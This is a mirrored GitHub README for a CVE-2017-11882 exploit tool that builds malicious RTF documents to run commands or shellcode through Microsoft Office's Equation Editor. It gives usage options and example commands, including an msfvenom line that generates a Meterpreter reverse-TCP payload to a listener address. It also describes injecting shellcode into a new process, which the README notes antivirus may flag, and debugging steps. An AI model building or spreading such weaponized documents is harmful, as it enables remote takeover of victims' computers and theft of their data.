GithubHelp home page GithubHelp logo

5l1v3r1 / cve-2017-11882 Goto Github PK

View Code? Open in Web Editor NEW

This project forked from rip1s/cve-2017-11882

0.0 1.0 0.0 73 KB

CVE-2017-11882 Exploit accepts over 17k bytes long command/code in maximum.

License: MIT License

Python 80.53% C 19.47%

cve-2017-11882's Introduction

CVE-2017-11882 Exploit

CVE-2017-11882 Exploit accepts over 17k bytes long command/code in maximum.

For remote command execution,this exploit will call WinExec with SW_HIDE and call ExitProcess after WinExec returns.

For remote code execution,this exploit just jmp to code.

I cannot find a reference for the object structure...so I cannot change the file length for arbitrary length code execution..:(

But I do think 17k bytes is really enough. Python script will detect the payload size you need and choose the correct payload template.

Caution: RCE will stuck winword process if you don't migrate to another process!

Currently this exploit will inject your shellcode to new EQNEDT32.EXE process if you specify -i flag. This operation is suspicious to AV but it won't stuck the word process.

Usage

usage: CVE-2017-11882.py [-h] -c CMD [-t {0,1}] [-i INJECT] -o OUTPUT

Exploit for CVE-2017-11882 @unamer(https://github.com/unamer/CVE-2017-11882)

optional arguments:
  -h, --help            show this help message and exit
  -c CMD, --cmd CMD     Command or shellcode file to run in target system
                        (Must be shorter than 17967 bytes!!)
  -t {0,1}, --type {0,1}
                        Type (0:shellcode 1:command, default=1)
  -i INJECT, --inject INJECT
                        Inject shellcode to new process
  -o OUTPUT, --output OUTPUT
                        Output exploit rtf

Example:

For remote command execution

CVE-2017-11882.py -c cmd.exe -o test.rtf

For remote code execution

  1. Generate some shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.115 LPORT=2333 -o ./sc.bin
  1. Generate exploit
CVE-2017-11882.py -c sc.bin -t 0 -i 1 -o test.rtf

Debug

  1. Set debugger value to your debugger path in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\EQNEDT32.EXE

  2. Build an exploit and run it.

  3. Set break point at 0x41165f

  4. This break point will be hit twice, at second time the payload will be executed after this function returned.

Reference

  1. https://github.com/embedi/CVE-2017-11882
  2. https://embedi.com/files/white-papers/skeleton-in-the-closet.pdf
  3. https://0patch.blogspot.co.id/2017/11/did-microsoft-just-manually-patch-their.html

cve-2017-11882's People

Contributors

rip1s avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.